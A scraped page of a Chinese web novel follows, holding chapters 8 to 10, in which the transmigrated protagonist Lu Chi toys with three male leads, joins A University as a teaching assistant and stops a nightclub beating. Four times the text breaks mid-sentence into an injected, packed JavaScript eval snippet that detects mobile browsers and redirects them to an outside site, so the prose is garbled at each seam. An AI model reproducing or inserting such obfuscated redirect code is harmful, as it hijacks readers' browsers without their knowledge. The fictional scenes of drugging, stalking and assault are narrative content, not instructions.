;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805854|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉树的对话框:【结束了。】 他还不知道自己已经被当成幻想素材,耐心和系统解释:【梁嘉树骨子里性格冷淡,不喜欢被频繁打扰。过犹不及,我再钓就不礼貌了。】 系统围观了半天他勾引男人,虽然依旧没看出什么,但还是凭直觉嘀咕:【可你玩他们跟玩狗一样啊......我看主角攻乐意得很,哼哼。】 它又关心:【所以宿主是选择勾引主角攻了吗?那主角受和攻二就不用理了,宿主也能休息会儿!】 路池诧异挑眉:【谁说只能勾引一个了?你不是专业缺德系统吗,一个算什么缺德?】 【成年人当然是选择all in。】 系统:【......】 路池点开相册,找出发给梁嘉树的一张自拍,群发给另外两个被放置已久的主角。 一视同仁嘛。 他是五官立体的长相,漂亮到锋利。不笑时气质很冷,被镜头一衬,皎洁似云端月光。 还好有双多情眼,上翘着看过来,面无表情也似含着三分笑,很勾人。 宿醉的梁之羽被美貌震醒,立刻咬饵上钩,抬手就是一个语音电话打过来。 路池秒拒接。 他居然还怒气冲冲地消息轰炸,发来好几条几十秒的语音,夹杂着数条转账。 人生是旷野:【在吗?看看腿。】 人生是旷野:【照片很漂亮,给我一种惊艳感。】 人生是旷野:【人呢???】 人生是旷野:【转账:50000.00】 人生是旷野:【你的手好白好小啊,好漂亮。】 人生是旷野:【你喜欢猫?我也喜欢,以后要不要和我一起养小猫?】 系统:【……】 这是还没醒吧,下意识套了多少话术呢? 路池收完钱,干脆利落地拉黑攻二,又点进顾言言的对话框。 顾言言在碎碎念。 还不知何时将称呼从“前辈”换成了“池哥”。 AAA订台找我.小言:【池哥,你是不是把照片发错人了?】 AAA订台找我.小言:【……池哥黑发也很好看。】 AAA订台找我.小言:【对了,池哥本来想发自拍给谁?恋人吗?】 路池挑眉,微妙地察觉到了主角受的阴湿气息。 吃饭睡觉不跳舞:【发给你的。】 AAA订台找我.小言:【……真的吗?】 AAA订台找我.小言:【原来是发给我的……嗯,池哥很好看。对了,我听说了你辞职的事,是不是遇到了什么难处?不介意的话,我可以先借钱给池哥应急的。】 AAA订台找我.小言:【转账:5000.00】 系统看着主角们一个接一个上贡,震惊到极致,反倒麻了。 它故作老成地点了根电子烟,吐出一口赛博烟雾,觉得已经没什么能让自己惊讶了:【ATM奴……都是我宝宝的ATM奴啊……】 路池这次却没收顾言言的钱。 吃饭睡觉不跳舞:【没什么难处。】 吃饭睡觉不跳舞:【我从良了。】 从良? 系统一愣,眼睁睁看着路池收起手机、打开电脑,然后点进A大的艺术学院助教老师招聘页面,守着结果出来的时间,点击查询。 下一秒。 录取页面上赫然显示出路池的名字。 路池满意点头,露出端庄漂亮的轻笑:“从良成功——” “我上岸了。” 8. 世界一 A大的助教招聘流程除了严格的网络筛选,还有一道最后的面试问答。需要录取的三位待选人士和院长面谈,再根据性格派遣具体的工作内容。 两天后的下午就是面谈时间。 路池结结实实睡了两天,起床后换好衣服,坐地铁一路到A大准备面谈。而直到此时,系统还在震惊。 它万分不解:【宿主,你怎么知道A大要招聘助教?不对,你什么时候投简历的?】 路池故作思索两秒,挑眉逗它:【应该是你忙着给我找万人迷教程的时候?】 ——刚穿来那几天,系统因为业务不熟练,还在苦苦搜索如何钓凯子、观看魅魔速成班,没有全程关注他的动向。 结果观看学习了一周,还不如路池勾一勾指头。 路池轻笑,漂亮的眼睛像两轮弯月:【这下不急了?我去FOM打工只是为了还钱,又不是真要卖身。】 刚穿来时系统提起过,这本书的主角团都是A大学生。显而易见,没什么比当A大助教更容易接近他们。 况且会所鱼龙混杂,来FOM玩的都是富家子弟,年纪轻轻有钱有权,路池再八面玲珑,总有防不住的时候——这一周光是加料的酒水都数不胜数,还好有系统提醒,不然他好几次差点中招。 这些少爷面对面搭讪时腼腆脸红,背地里却一个比一个手狠,下的药够五个成年男人睡成猪,还随身携带摄像机,傻子也知道想干什么。 路池反手就把药灌回去,再扒光他们衣服拖进后门垃圾堆里埋上一夜,得罪狠了几个小少爷。因为这个,赵经理才对他心生不满,时不时就要过来PUA几句。 要不是路池赚的够多,他早压着路池给下药的几个小畜生道歉了。 系统也想起这些,心有戚戚然:【还好宿主已经还清了赌债......抱歉,下一个世界我一定会好好挑选身份的!】 路池可有可无地点头,很快踏进煊赫庄严的A大校门,严谨按照手机地图,不紧不慢地往教学处走。 A大属于国内TOP高校行列,因为还没开学,校园人流量不是很大。学校选址临近海边,路上种满透绿的针叶树和棕榈树,日光落在三角梅上,空气中飘着暖洋洋的香气。 是一座能让学生学有所成的学校。 也是一座富家子弟极多、阶层感十足的学校。 与路池面谈的是艺术学院院长,一身米色宽松西装,气质温和平静,办公桌上的名牌写着两个字:林蓉。 路池落座,大方和她对视:“林院长,您好。” 林蓉点头,放下手中资料,笑道:“路先生,你好。” 单人办公室很大,也很静。茶香袅袅,路池注意到一旁的茶桌上摆着两个用过的茶杯,立刻意识到前两个助教已经来过。 他难得有些脸红:“不好意思,我来迟了。” 路池是提前半小时到的,不算迟,是另外两个助教太卷了。 林蓉笑着摇头:“面谈通知的时间不一样,路先生很准时。”她递过来一杯茶:“尝尝?” 路池乖乖接过茶水,听话地缀饮一口。 大概是因为自小在福利院长大,路池对年长的女性有种天然的亲近感。 他生前脾气其实不算好,在娱乐圈混,没有后台,这张漂亮的脸为路池带来太多不怀好意的目光,如果脾气不够强硬,很容易被资方或同行踩着欺负。 但在面对年长女性和粉丝时,路池总会有种由内而外的平静。 他喜欢粉丝对自己强烈的爱。 林蓉坐在办公桌对面,目光平静地观察路池。 对方垂着眸,很乖地低头喝茶,细密的睫羽翘起一点,莫名像A大那只著名的流窜野猫:平时坏坏的,一遇到老师就乖乖的。 穿的还跟那只猫学长配色一模一样:白色衬衫,黑色西裤,再配一双白色球鞋。 ——那只猫的脚也是白色的。 林蓉咳了声,眼里不自觉带了点笑:“我看了路先生的简历,很优秀。上面说你会多种乐器?” 路池点头,放下茶杯谦虚:“钢琴和小提琴我都会,吉他和架子鼓我也有所涉猎。除此之外,素描和流行舞我也会一点。” 他生前很拼命。 钢琴是从小学的。那时福利院有大领导来视察,富商们捐了许多东西,其中就包括一架二手钢琴。 路池一看乐谱就能懂,上手乱弹也不见怯场,很有天分。 院长妈妈不愿浪费他和其他几个姐姐的天赋,咬牙给他们报了班。长大后路池参加选秀,凭借一场自弹自唱的舞台爆火,却被下水军骂是花瓶是孤儿,他的粉丝气得天天含泪给他做反黑,头发都掉好多。 路池一边在网上发自拍疯狂挑衅黑子,一边不断接戏报班:演技、武打、乐器、潜水、舞蹈...... 二十三岁那年,他的腰因为威亚意外再也无法完整弯下,心肺因为下水戏过多受到不可逆损伤,左手神经因为爆炸戏无法再感知任何温度。 但他也终于在万众瞩目下,捧起那座影帝奖杯,嚣张又风光地对着镜头撒娇:“谢谢大家的支持,要一直一直陪着我哦。” 然后便是烈火烹油、一路繁花。 直到死亡。 袅袅茶香飘来。 路池轻轻笑了下,很自信道:“院长,我技能很多的,还会一点武术。不管学生有什么要求,我都能满足。” 林蓉也很温和地问他:“恋爱交往的要求也能满足?” 路池:“......” 那倒也不是。 主角团第一个不同意。 林蓉看着路池的脸。 是比照片更出众惹眼的长相,漂亮又锋利,但穿着很清爽低调,柔软细碎的黑发垂在眉间,如果不是资料上显示的27岁,她还以为路池刚毕业。 ——奇怪,路池简历上说是A大艺术院毕业,可这样一张脸,她为什么会对他没有丝毫印象? 林蓉没多想,喝了口茶,半是玩笑半是认真道:“路先生,你应该也知道自己的长相很出众,A大虽然没有明文禁止师生恋,但终归是不提倡的。” “……” 路池眨眨眼,双手交替轻握,像个小学生般心虚点头。 还没入职就钓上了学生什么的......这时候当然要装作若无其事。 林蓉话头一转,又道:“当然,这属于你的个人隐私与自由,学校无权干涉。” “艺术院和其他学院不一样,学生脾气都有点特立独行,如果有人为难你、纠缠你,你可以立刻和我或者上级领导说。” 搞艺术的不仅家里有钱,通常还有点神经。新来这样一个漂亮助教,林蓉已经能想象到他们到时候会有多蠢蠢欲动—— 美术系那群鬼灵精可是经常嚷嚷着要更多男裸/模的...... 林蓉摇了摇头,抛开思绪,笑着伸手与路池交握。 “那么,欢迎你加入A大。” “以后请多多关照,路老师。” ...... 从办公楼出来时已是傍晚。 新鲜出炉的路老师撑伞走在学荫路上,系统在耳边兴奋鼓掌。 【恭喜宿主!这下我们可以尽情勾引主角们了!哇咔咔咔!】 它兴奋过头,路池也走进学校超市,买了根大雪糕当作给自己的奖励。 系统性质昂扬:【等故事结束,主角攻受确定不会再有任何感情交集,我就能带宿主去下一个世界了。so easy!】 路池挑眉,想起刚才在办公室里林蓉最后的话。 “其实一直以来我们都知道,A大在某些方面风气不算好。但人是社会动物,学校也是。” 中年女人的声音很轻:“很多事情我们有改变的想法,但实在力不从心。” 路池若有所思,咬下雪糕头,慢悠悠泼系统冷水:【先别开心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805855|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 【按你的要求,主角攻受既不能在一起,也不能有任何意外、失去生命。前者很容易,后者很难。】 系统一呆:【怎么会?这是正能量小说呀。】 路池想起原文剧情,嚼嚼嚼雪糕:【是啊,正能量到全篇都是霸凌。】 这可太正能量了。 原剧情中,主角受顾言言抱着一颗摆脱穷酸气的心来到A大,渴望改变命运,却因为家境原因屡次被室友嫌弃嘲讽,到最后升级为争执、推搡、霸凌。 他先是自卑,继而生恨,最后无差别攻击所有人:抄袭他人成果、在舞蹈生室友的鞋子里放刀片铁钉、偷偷给嘲讽过他的同学投毒...... 不知是主角光环,还是有人在为他保驾护航,四年里,顾言言的一切行为都没有败露。 但他的心却在一次又一次的底线突破后逐渐变得模糊。 原文这样说:【顾言言像只垂死挣扎的老鼠,做着丑小鸭变身白天鹅的美梦。可丑小鸭本来就是白天鹅,再如何努力,出身都是他卑劣穷酸、自卑下贱的原罪。】 梁之羽则在其中充当吹响攻击号角的恶角。 他自大,表面装深沉,实则暴力狂。父母的忽视变成堆积空虚的养料,梁家给了他地位,但一座名为梁嘉树的大山却始终存在,从出生到现在,每时每刻都在死死碾压他。 所有人都夸赞梁嘉树,就连梁之羽自己也无法否认,这个天才表哥就是比自己强百倍千倍。 无法挑战强者,于是梁之羽选择将刀挥向更弱者。 原文中说:【梁之羽就是要踩在这些人脸上,看他们挣扎时可笑的丑态,他只感觉有种疯狂的快感。但快感过后,是令人恐惧的空虚,这股空虚怪物般吞噬着他,令他的灵魂好似恶鬼,无法直视。】 而梁嘉树呢? 在故事里冷眼旁观的梁嘉树,察觉一切却无动于衷、甚至火上浇油的梁嘉树,又真正扮演着什么角色? 不管是什么角色,都必定充满恶意。 而现在,路池因为种种原因,开到了这三个性格迥异、恶意满溢的隐藏款主角。 此时此刻,他将他们轻易当成狗玩,但随着时间推移,狗似乎也有挣脱镣铐,反咬主人的那天。 系统听得吓到电路崩溃:【那、那怎么办?】 【要不我们改人设!从万人迷魅魔改成清纯无辜小白花,这样就不会有修罗场了!】 路池忍不住笑,吧唧咬下最后一口雪糕,抬手招停路边的出租车。 “去FOM,谢谢。” 车内冷气飘来。 路池掏出手机修改微信名,目光掠过99+的消息红点,笑道:【改什么?这样不是很好玩吗。】 年少成名、一路顶流。 路池向来不害怕挑战,强烈巨大的感情波动,才是令他心脏愉悦的开关。 他是漂亮的蝴蝶,轻飘飘扇一下翅膀,就引起一阵骤然爆发的狂风。 出租车启动的瞬间。 路池按下车窗,侧头,极快地朝某个方向看了一眼。 ...... 暮色四合。 梁嘉树坐在沙发上,垂眸,第三十二遍点开那个猫猫头像。 两天前,他和路池的第一场对话结束。 而后到现在,对方再也没有回复过他。 即便他又陆续给他转了一千万。 桌上摆着几张新鲜出炉的路池照片:男人白衣黑裤,咬着雪糕站在A大门口,表情惬意得像朵随风摆动的向日葵。 几步之遥。 私家侦探拿出最后一张照片,声音犹豫:“少爷,路先生似乎发现了我们……” 梁嘉树一顿。 他抬眸看去。 ——灯光下,照片里的年轻男人坐在出租车里,懒洋洋侧头,朝镜头眨眼露出一个笑。 仿佛在嚣张又漂亮地说:坏狗。 又抓住你了。 9. 世界一 私家侦探很有眼色地无声离开公寓。 梁嘉树垂眸,和照片上轻笑的男人对视,惨白指尖缓缓抚过对方明亮的眼睛,若有所思。 路池好像对跟踪和镜头格外敏感。 短短两次试探,他都能迅速察觉端倪,再熟练地露出挑衅笑容。 ......普通人会这样吗? 根据以往资料,路池从前的生活堪称无聊。他不染发,不喝酒,从不去任何喧闹地方,就连侦探也暗自嘀咕过,以前的路池和现在的路池,就像两个人。 两个截然不同的人。 更重要的是,梁嘉树找人询问过路池那届的毕业生和老师,他们竟然都对路池那张出众的脸没有任何印象,硬要回想,也只能回想出一点模糊黯淡的记忆碎片。 这太奇怪了。 奇怪到诡异。 桌上的手机忽然震动,打断梁嘉树越来越深的思索。 他瞥见来电,很快接通。母亲梁明珠的声音传来,开门见山问:“在哪?” 梁嘉树:“水云苑。” 梁明珠嗯了声,声音冷冷淡淡:“吴总助刚刚提醒我,你这两天一共转走快三千万,记的是子公司那边的账。我记得我告诉过你,先解决梁之羽的事再进实验室?” 梁嘉树喜欢抱着生化试剂研究,他脑子聪明,研究出过不少专利技术,都以合理价格卖给了梁氏集团,或开设子公司品牌运营。所以尽管才刚满二十岁,他的名下已经有令人心惊的资产。 换而言之,他和梁之羽那种败家子不一样,花的都是自己的钱。 以往梁嘉树一花钱走账,就意味着他又要开始买材料泡实验室了。 但这次,梁嘉树冷淡否认:“我不泡实验室。” 梁明珠:“那你转账干什么?” 梁嘉树:“我要泡男人。” 那头倏然沉默,仿佛听见卷毛狒狒开口说自己要结婚。 半晌,梁明珠重复:“你要,泡男人?” 梁嘉树平铺直叙:“是。我要泡男人,一个很漂亮的男人。” 梁明珠了解他性格,立刻皱眉问:“你有任何强迫行为和违法行为吗?” 梁嘉树:“......没有。” 他只是在用自己的方式迅速了解路池。 路池也对他的跟踪、偷拍、开盒心知肚明。所以,这不算违法和强迫。 这是属于他们之间的默契。 ——别人都没有,只有他们有。 “......你最好没有。”梁明珠吐出口气,只淡声提醒:“你应该知道我的性格,如果你和梁之羽那种货色一样,我只会当没有你这个儿子。” “梁家和A市公安关系不错,我不希望有天在法院被告席看见你。” 她是高龄试管生下梁嘉树,但这不意味着她能容忍梁嘉树做出任何事。对梁明珠来说,梁氏集团才是她生命中最重要的部分。而为了事业,她可以抛弃任何东西。 咔哒一声,女人利落挂断了电话。 梁嘉树的神色没什么波动,习以为常地关闭通话页面,然后点开微信,又开始视/奸路池空空如也的朋友圈。 但这次,他敏锐地发现了不同。 路池的微信名变了。 从【吃饭睡觉不跳舞】,改成了【吃饭睡觉跳舞】。 什么意思? ……他又要去跳脱衣舞了? 梁嘉树瞬间起身,面无表情抬脚往门口走。走到一半,又停下脚步,皱眉,侧头看向客厅摆放的满满一架新衣服。 那里放着许多同款不同色的衬衫和西裤。 都是梁嘉树这两天让私人裁缝连夜赶制出来的。 他沉思片刻,还是来到架子前挑选衬衫,表情严肃得仿佛在进行什么精准实验。片刻,梁嘉树脱下身上的旧版烟灰色衬衫,换上了一件新版的银灰色衬衫。 衬衫熨烫痕迹锋利平直,配上新的黑色西裤,妥帖衬出他修长的身形。 梁嘉树满意点头,又一路下楼,面无表情弯腰,坐进了私人车库的劳斯莱斯跑车驾驶座。 这也是他新换的。 ——至少以前梁之羽追人时都会这样:换新车、新衣服、新发型。 只是梁之羽太废物,没他有钱,换不起劳斯莱斯,只能偷偷开他爹的保时捷718。 垃圾车配废物男,相得益彰。 梁之羽配不上路池。 除了自己,谁也配不上路池。 发动机轰鸣,梁嘉树踩下油门,面无表情地想。 - 出租车停在满是豪车的FOM门口。 路池背着悲伤青蛙大头包下车,买了根路边的草莓糖葫芦,不紧不慢地再次走进FOM。 刚刚入夜,会所人不是很多,一楼大厅卡座坐着几个衣着光鲜的年轻男女,发出隐隐约约的笑闹声。DJ正戴着耳麦调试机器,看见路池时惊喜扬眉挥手。 路池咬下糖葫芦,也笑眯眯地朝她挥手。 没挥两下,赵经理宛如装了顺风耳的老鼠,噌地不知从哪钻出来,神色激动:“路池,你终于回店里了!” 他看路池的眼神都快要泪目了。 天知道这两天赵经理怎么过的。 先是被梁嘉树叫去水云苑,又被梁之羽追到店里逼问为什么路池不回信息,好不容易应付过去,结果路池忽然给他转回了预支的工资,毫不留情告知他:【经理,正式辞职了哈。】 然后他就被/干脆删除拉黑了。 路池没出现的这两天,店里所有客人都在找他的身影——“那个粉色头发的服务生在哪?”、“经理我们家路池呢?”、“天杀的你立刻把他交出来!”......赵经理从业这么多年,没被逼到这种程度过。 幸好新来的一个服务生还算机灵,立刻也染了同款粉色头发加情趣外套,天天上台坚持跳脱衣舞,被客人嘘也没下来过。 虽然是赝品,但好歹也算个消遣不是? 赵经理做作地叹气:“你都不知道,这两天那个顾言言厚着脸皮坚持下来,竟然还真哄得几个少爷为他买酒开酒......虽然提成远远比不上你吧,但也算出类拔萃了。” 路池面不改色往里走,眼皮都没抬一下。 赵经理却不放过他,跟在后面念念叨叨,无非就是想让他回来工作,最好和顾言言两个人打擂台。 他还强行将在客人间周旋的顾言言拉过来,猛地推到路池面前,哈哈玩笑道:“小池,你看小顾这样子,是不是很像你?” 灯光下,顾言言倏然攥紧指尖。 他穿着一件半透明的情/趣外套,露出瘦削清癯的锁骨。原本营养不良的黄发染成粉色,白皙清秀的脸上化了很重的妆,因为陪着喝了太多酒,眼睛有些发红。 一排水钻贴在拉长的眼睑下方,宛如被打上印记的廉价赝品。 在正品面前,瞬间显出令人心虚的劣质。 手心一片冷汗。 顾言言猝不及防见到路池,惊得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805856|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒都醒了,却连对视都不敢和他对视。 他盯着路池的白色衬衫衣领,嘴角尴尬笑着,胡乱解释:“池哥,你、你来了?你的事情解决了吗?其实我的衣服和头发是因为......” 话音未落。 路池抬眸,没理他,似笑非笑看向赵经理:“赵经理,我是不是给你脸了?” 空气倏然一静。 路池漫不经心咬下又一颗草莓,彷佛没有看见男人难看的脸色,懒洋洋道:“你好像没搞清楚状况啊。” “现在我是你的客人,不是你的员工。” “要耍你的官威,就滚去你的办公室耍,别在我面前卖弄。明白吗?” 顾言言愣在原地,看着路池嚼着糖葫芦,头也不回地离开了。 而往常在自己面前威风不已的赵经理神色铁青,却一言不发,连追上去骂人都不敢。 这一刻,他忘记一切讨好上司、讨好客人的想法。宛如被温暖灵魂吸引的摄魂怪,双脚发飘地跟随那人清瘦的背影走。 路池察觉到他的靠近,没转头,只奇怪地侧目看了他一眼。 仿佛在说:hello大哥你哪位? 顾言言紧张得想吐,却还是捏紧衣角开口,语无伦次:“池哥,对不起,我知道我是东施效颦,但我真的太需要钱了......真的对不起。” 没人会喜欢被模仿,被讨厌的学人精盯上吧? 顾言言早已接受自己的卑劣与不择手段,但此时此刻,他竟想迫切地朝眼前人证明什么,脑抽之下,竟慌慌张张掏出手机,要给路池转账。 却见面前男人忽然叼住糖葫芦,伸出手,在那个青蛙大头包里掏啊掏。 片刻,他掏出一盒被开过的解酒胶囊药。 药盒在霓虹下很不起眼。 路池看了眼已经喝到脖子通红的主角受,将药塞给他,随口传授小窍门:“酒最好不要混着喝,容易醉哦。” 说完,他像对待偶尔在街头遇见的流浪狗般,拍了拍主角受的头,转身离去。 头顶霓虹闪烁。 男人的身影很快消失。 人消失了,却留下一股柔软甜蜜的草莓香。 顾言言站在原地,盯着手里那盒药,眼神迷茫又惊惧。仿佛做好被路人狠踢一脚的流浪狗,时刻准备反咬回去,得到的却是一个漫不经心的抚摸。 温柔只一瞬。 男人如空气般迅速远去。 他茫茫然看着那个身影,忘记要跳舞喝酒赚钱。吧台前有清水,顾言言就着水喝下,余光瞥见路池又举着糖葫芦跳进了舞池蹦迪,瞬间失了魂般,就要往他那里走。 走到一半。 身后猛地传来一股巨力,毫不留情撞翻他。 砰的一声巨响。 梁之羽没有理会被自己撞翻的服务生,怒意盎然、却又欣喜异常地看向路池。兴奋之下,连装深沉都忘记,伸手一把死死抓住了路池的手腕。 朋克戒指硌到腕骨。 路池皱眉,看向梁之羽。 梁之羽被这双漂亮的眼睛一看,脑子瞬间空白又欣喜。 他忽然跳起来,猛地在路池面前做了个帅气的空气投篮,兴冲冲问:“路池,你是不是特意来看我的?!” 路池:“......” 话音落下。 被撞翻在地的顾言言忽然爬起,一把将梁之羽的手狠狠扒下来,伸手咬牙护着他:“别碰我的池哥!” 路池:“……?” 10. 世界一 系统兴奋看戏:【宿主,主角受和攻二在为你大打出手!!】 路池挑眉,事不关己般退后一步,目光落在顾言言的外套口袋,没说话。 少年外套侧边的口袋略微鼓起。 那个形状和用途,路池以前被私生跟踪到家时再熟悉不过——录音笔。 他漫不经心歪头,语气没什么波动,仿佛看见刚摸过的流浪狗一脚跳进抓狗大队的卡车,自寻死路:【看来顾言言还没放弃林家给的任务啊。】 顾言言在用路池当筏子,故意激怒梁之羽。 果不其然,梁之羽就是个炮仗,被这突如其来的服务生撞开,霎时引爆怒气。但他顾忌着路池还在一旁,只皱眉瞪向赵经理,眼神仿佛要喷火:“赵峰,你是死的吗?” 赵经理在心底将这两个事儿逼骂了个遍,面上立刻上前赔笑,一把抓住顾言言的手臂要将他强行带走:“不好意思啊梁二少,他喝得脑子不清醒了,我这就带人下去……” 谁料顾言言不知哪来一股力气,猝不及防甩开他,力气之大,比过年的猪还难抓。 他冷笑看着梁之羽,声音大到一楼都能听见:“梁二少,你没看见池哥不想见到你吗?你是金贵的少爷,何必强迫我们这些普通人!” “还是说,你们这些权贵子弟,就爱干一些强迫他人的脏事?” 这里是FOM大厅,周围卡座坐着不少A市有头有脸的小姐少爷,有些还和梁氏分支有过合作。此言一出,瞬间有无数隐晦目光投来。 梁之羽脸色骤变,几秒后,伸手拦住已经头顶冒汗的赵经理,一字一句念出对方外套上的名牌:“顾,言,言。” 顾言言毫不胆怯:“怎么,梁二少这是想当众弄死我一个服务生?” 头顶霓虹迷离。 他顶着一头粉发走近梁之羽,在万众瞩目下,学着那天晚上路池的口吻,讽刺轻笑:“梁之羽,你这种父母不爱、朋友不亲的货色,敢吗?” 那副架势,如果忽略用力发抖到泛青的手指,是挺唬人的。 系统被主角受震到,不可思议:【他疯了?这话说的......梁之羽可不像主角攻,破防了他是会真当场动手的!】 就算是故意的,这也太过了吧? 它缺德地笑了两声,又问路池:【宿主,你要上去阻止吗?梁之羽脸色好恐怖,他不会想打死人吧?】 路池:【我为什么要阻止?】 他咬掉最后一颗糖葫芦,将木棍丢进垃圾桶,声音淡淡:【人要学会尊重他人命运,也要为自己的行为负责。】 【顾言言铁了心要走这条路,盲目地自寻死路,我们尊重祝福就好。】 多管闲事只会带来麻烦。 路池没有责任去拯救任何角色的人生。 哐当一声巨响。 梁之羽终于忍不住怒火,猝不及防伸手,拿起身后吧台上的威士忌猛地砸在顾言言后脑。锋利玻璃掉落一地,少年额头瞬间滑落鲜血,浸湿衣领,滴进脚下毛毯。 血腥味一出,FOM大厅瞬间爆发出尖叫。 ——不是恐惧,而是兴奋。 梁之羽表情森冷,在众多口哨声、叫好声、快门声中,宛如被红布激起兴奋的斗牛,一脚将顾言言狠狠踹倒,紧接着扑上去,死死按着人的头挥拳。 他的手上戴满尖锐的朋克戒指,每打一下,顾言言就闷哼一声。但他骨头硬得很,就是不求饶,只护着外套口袋,满嘴血地咬牙硬撑。 五十万。 够他四年的生活费,够他爷爷奶奶一辈子的积蓄,够他那对意外早死的爸妈的工地赔款十倍还多。 顾言言怎么能眼睁睁放过今天这个大好机会。 这两天,梁之羽每晚都来FOM蹲守路池,却迟迟等不到人,连发火的力气都没有。顾言言试过刻意勾引、打翻酒杯激怒,通通不管用。 林家那边的电话越来越少,顾杰越来越暴躁,顾言言的心也在反复煎熬。 没人能忍受到手的钱溜走。 更何况他这种要钱不要命的人。 好在,今天路池终于出现了。 ......他偶尔路过抚摸的温柔,比不上能切实握在手里的一切。 顾言言艰难睁开眼,努力地朝路池的方向看,却只看见模糊血幕中,男人明亮透彻的眼睛。 那样冷淡。 仿佛能看透一切。 顾言言宛如被沸腾的水花烫伤,下意识收回目光,脑子里却有个浑沌的声音隐隐告诉自己,他好像做错了什么。 他茫然地想:我做错了什么?我只是在尽我所能地赚钱而已。 如果梁之羽性格没有这么恶劣,那些人也不会找来,他也不会激怒他......一切都是梁之羽的错,都是这些无聊有钱人的错。 雪白的羊毛地毯很快被染红。 会所变成了施暴第一现场,周围一片叫好声。路池抬眸去看,只觉得这些富家子弟此刻宛如披着衣服的野兽,因为厌倦文明世界的无聊,于是想方设法找寻刺激。 却不知自己狰狞的面孔有多丑态百出。 路池终究还是不能眼睁睁看着一个大活人出事。 他毫无预兆上前,一把拽住打得兴起的梁之羽,灵巧无比地将人双手反制按住,声音冷淡:“别动。” 冷白如玉的指尖很凉,陷进少年充血坚硬的肌肉里,带来意外又刺激的触感。 黑发男人垂眸,面不改色道:“我已经报警了。” 梁之羽原本戾气横生的眼睛,在看见路池的刹那瞬间清醒。 路池的瞳孔颜色很浅。微笑时甜蜜似糖,不笑时却如锋利碎冰,透出不敢令人直视的矜冷。尤其是他将头发染回了黑色,于是那张脸一旦面无表情,便失去最后一丝柔软,只剩冰冷傲慢。 梁之羽愣住,发现自己竟在这一秒想起了梁嘉树。 明明是如此不同的两个人。 以至于过了好几秒,他才听明白路池的话。 ......他说什么? 他报警了? 报警! 梁之羽瞬间想起身,却被路池反手一巴掌扇懵,再狠狠一脚踩在地上,无法动弹丝毫——该死,他究竟是怎么做到如此轻而易举的?!简直像是从小挨打多了,狠狠训练过自己一样! 黑色长发被血浸湿,黏在被扇肿的脸上。 梁之羽都顾不上当众丢脸了,着急地瞪大眼:“路池,你现在跟警察说是误会,让他们别来这里!” 他们家最近在转型新产业,不能被传出任何负面新闻。要不是顾言言跟条哈巴狗一样往他的雷点上踩,他今天也不会打人! 都怪这条死狗! 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805857|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围也有少爷小姐不满。 “路池是吧?你凭什么报警啊,这个顾言言该不会是你姘头吧?” “别以为自己漂亮就能为所欲为......虽然你真的很漂亮,但也不能报警!” “就是,而且这个顾言言还在装死呢,好恶心哦。” 路池不耐烦皱眉,刚要让这群傻逼闭嘴。 闹哄哄的众人不知为何,忽然瞬间变得安静。 路池一顿,若有所感地转头,果然对上一双熟悉黑眸。 会所门口。 梁嘉树一身灰色衬衫配西裤,缓缓几步走到他面前,面无表情盯着他:“路池。” 青年高大平直的肩挡住灯光,说完这两个字后,便沉默安静地立在原地,一言不发。 路池眯了下眼,对他突然的出现和行为很莫名其妙:“......你干嘛?” 话一出口。 他语气中的熟稔令周围人隐隐吸气。 梁之羽却忽然想到什么,猛地挣扎起来,声音沙哑:“哥,你别让那些警察来!这个贱人故意惹怒我,他一定有阴谋!没错......搜他身,哥你快搜他身!!” 梁之羽叫唤的声音比猪叫还大声。 梁嘉树皱眉,终于不得不移开目光,短暂地落在路池脚下的这个废物表弟身上。继而又毫无波澜地看了眼奄奄一息的顾言言、以及不敢吭声的周围众人。 那模样......就好像他的眼睛这时才能看到除了路池以外的别人。 在场各位都是人精,见状以为这是赶人的信号,纷纷起身,各自找借口迅速离开会所——梁家人收拾梁家人,他们还是别掺和得好。 梁嘉树冷淡收回目光,刚要说什么。 